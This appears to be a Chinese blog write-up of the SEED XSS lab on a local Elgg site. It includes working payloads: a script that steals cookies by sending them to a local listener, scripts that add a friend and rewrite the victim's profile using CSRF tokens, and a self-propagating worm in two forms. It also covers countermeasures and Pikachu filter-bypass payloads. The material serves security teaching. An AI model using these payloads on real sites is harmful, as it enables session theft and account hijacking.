Cross-Site Scripting (XSS) Attack Lab网安实验

本文介绍了一套完整的Cross-Site Scripting (XSS) 攻击实验流程,包括展示警告窗口、窃取Cookie、成为受害者的好友、修改受害者资料等多种攻击方式。同时探讨了CSRF与XSS的区别及防范措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Cross-Site Scripting (XSS) Attack Lab网安实验

Lab Environment

the Apache server needs to be started.

$ sudo service apache2 start

3.2 Task 1: Posting a Malicious Message to Display an Alert Window

description有<p>标签,不会执行<script>代码内容。可以将恶意代码放入briefdescription中。

在这里插入图片描述

3.3 Task 2: Posting a Malicious Message to Display Cookies

同上,在BD中插入恶意代码

<script>alert(document.cookie);</script>

在这里插入图片描述

3.4 Task 3: Stealing Cookies from the Victim’s Machine

在BD中插入代码,基于CSRF攻击原理,给本机的5555端口发送信息

<script>alert(document.cookie);document.write('<img src=http://127.0.0.1:5555?c=' + document.cookie+'>')</script>

如图,接收到cookie为c=Elgg=f8168b9pg5tpc1u7bhp9i84gk2
在这里插入图片描述

3.5 Task 4: Becoming the Victim’s Friend

<script type="text/javascript">
    window.onload = function () {
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
    var sendurl="/action/friends/add?friend=47" + ts + token + ts + token;
    if (elgg.session.user.guid != 47) {
	    Ajax=new XMLHttpRequest();
	    Ajax.open("GET",sendurl,true);
	    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	    Ajax.setRequestHeader("X-Requested-With","XMLHttpRequest");
	    Ajax.send();
	}
}
</script>

在访问Samy主页后Alice与Samy成为好友
在这里插入图片描述

• Question 1: Explain the purpose of Lines ➀ and ➁, why are they are needed?

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;

ts与token是Elgg服务器对用户的认证,加入这两行可以骗过服务器的用户认证

• Question 2: If the Elgg application only provide the Editor mode for the “About Me” field, i.e.,you cannot switch to the Text mode, can you still launch a successful attack?
不可以。普通的文本编辑模式会将script代码的关键字符进行转义,造成代码完整性缺失,无法正确执行,即无法造成攻击。

3.6 Task 5: Modifying the Victim’s Profile

将以下代码以edit HTML模式放入description

<script type="text/javascript">
window.onload = function(){
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
    var description = "&description=<p>Your profile have been attacked!!!<\/p>";
    var content=token + ts + description + guid + name;
    var samyGuid=47;
    if(elgg.session.user.guid!=samyGuid)
    {
        Ajax=new XMLHttpRequest();
        Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

攻击成功
在这里插入图片描述

Question 3: Why do we need Line ➀? Remove this line, and repeat your attack. Report and explain your observation.
Answer 3:因为Samy在完成profile的edit后系统自动跳转到其主页,如果不加对当前用户的id的判断,将修改Samy自己的profile,而恶意代码正是在profile中,即覆盖自己使之不能对其他用户进行攻击

3.7 Task 6: Writing a Self-Propagating XSS Worm

DOM Approach

<script type="text/javascript" id=worm>
    window.onload = function(){
        var name="&name="+elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="__elgg_token="+elgg.security.token.__elgg_token;
    
        var description = "&description=<p>Your profile have been attacked!!!<\/p>"}
        var scriptstr = "<script type=\"text\/javascript\" id=worm>" + document.getElementById("worm").innerHTML + "<\/script>";
    
        var content=token + ts + description + encodeURIComponent(scriptstr) + guid + name;
    
        Ajax=new XMLHttpRequest();
        Ajax.open("POST","/action/profile/edit",true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
</script>

因为是自我复制,不用判断是否要对访问账户执行攻击

Link Approach

先在本地创建一个新的网站,名为 t.com, 用于托管恶意脚本。在/etc/hosts中添加下面一行用于DNS解析

127.0.0.1    www.t.com

在/etc/apache2/sites-available/000-default.conf中添加一个网站配置,并允许跨站请求,如下:

<VirtualHost *:80>
        ServerName http://www.t.com
        DocumentRoot /var/www/t
        <Directory />
                Require all granted
                Allow from all
                Header set Access-Control-Allow-Origin *
        </Directory>
</VirtualHost>

在命令行中输入命令启用apache自定义请求头并重启apache

sudo a2enmod headers
sudo service apache2 restart

创建 /var/www/t/mal.js 文件,此文件即为script标签的src属性所指向的文件

//mal.js
window.onload=function(){
	var name="&name="+elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	var description="&description=<p>Your profile has been attacked!!!<\/p><script type=\"text\/javascript\" src=\"https:\/\/blue-sea-697d.quartiers047.workers.dev:443\/http\/www.t.com\/mal.js\"><\/script>";

	var content=token+ts+description+guid+name;

	var Ajax=null;
	Ajax=new XMLHttpRequest();
	Ajax.open("POST","/action/profile/edit",true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	Ajax.send(content);
}

访问www.t.com/mal.js
在这里插入图片描述

Alice访问Samy主页后被攻击
在这里插入图片描述
Boby访问Alice主页后也被攻击
在这里插入图片描述

3.8 Task 7: Countermeasures

1. Activate only the HTMLawed countermeasure

通过观察网页源代码发现,HTMLawed 将<script>标签删除了。
在这里插入图片描述
但通过抓包发现我们发送的内容并没有被删减,所以可以得出结论:<script>的标签是在服务器端被删除的
在这里插入图片描述

2. Turn on both countermeasures

在这里插入图片描述
发现:htmlspecialchars比HTMLawed 的优先级低

Ex

Question 1: What are the main differences of CSRF and XSS attacks? They both have “cross site” in their names.

CSRF工作原理
用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cookie。要完成一次CSRF攻击,受害者必须满足两个必要的条件:
(1)登录受信任网站A,并在本地生成Cookie。(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站A的api接口时,会提示你登录)
(2)在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)。
XSS工作原理
不需要任何的登录认证,它会通过合法的操作(比如在url中输入、在评论框中输入),向你的页面注入脚本(可能是js、HTML代码块等)。
区别:CSRF需要用户先登录网站A,获取cookie; XSS不需要登录。

Question 2: Can we use the countermeasures against CSRF attacks to defend against XSS attacks, including the secret token and same-site cookie approaches?

不能
针对CSRF的防御手段侧重于防止用户的身份被盗用,而XSS本身就是利用受信任用户误发出请求,不需要伪造受信任用户身份

### 关于 Pikachu 项目中的 XSS 漏洞 #### 跨站脚本攻击(XSS) 跨站脚本攻击是一种常见的全漏洞,允许攻击者通过注入恶意脚本来执行未经授权的操作。这种攻击通常发生在 Web 应用程序未能正确验证或转义用户输入的情况下。 在 Pikachu 项目的上下文中,存在多个演示场景来展示 XSS 的工作原理及其潜在危害[^1]。 #### 登录页面的 XSS 风险 受害者可以通过访问 `http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php` 页面并使用默认凭证 (`test/abc123`) 进行登录操作。此页面可能未对用户的输入进行充分过滤,从而导致反射型或存储型 XSS 攻击的发生。 #### 利用图片标签触发 XSS 另一个典型的例子涉及 `<img>` 标签的滥用。例如,在某些情况下,可以利用如下 HTML 片段发起请求到指定服务器以窃取会话信息或其他敏感数据: ```html <img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php" /> ``` 上述代码片段展示了如何通过图像加载机制实现远程通信的目的[^2]。 #### 大小写绕过的技巧 为了测试应用程序的全防护措施是否存在缺陷,研究者们经常尝试不同的方法规避检测规则。比如下面这个案例就说明了即使简单的字符转换也可能突破初步防御屏障: ```html <SCRIPT>alert(/xss/)</sCRIpt> ``` 这里故意改变了部分字母的大写形式试图迷惑模式匹配算法达到成功弹窗的效果[^3]。 #### 嵌套 script 标记造成破坏 更进一步地考虑实际应用环境下的复杂情况,则有这样一种构造方式能够有效避开一些基础级别的HTML净化处理逻辑: ```html </script><script> alert('xss')</script> ``` 它巧妙地关闭当前正在解析状态中的 JavaScript 区域然后再开启新的定义区域以便执行自定义命令序列[^4]。 ### 结论 综上所述,Pikachu 提供了一个很好的平台让我们深入理解各种类型的Web全性议题,特别是针对像XSS这样的经典威胁进行了详尽的实际演练.
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

winnower-sliff

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值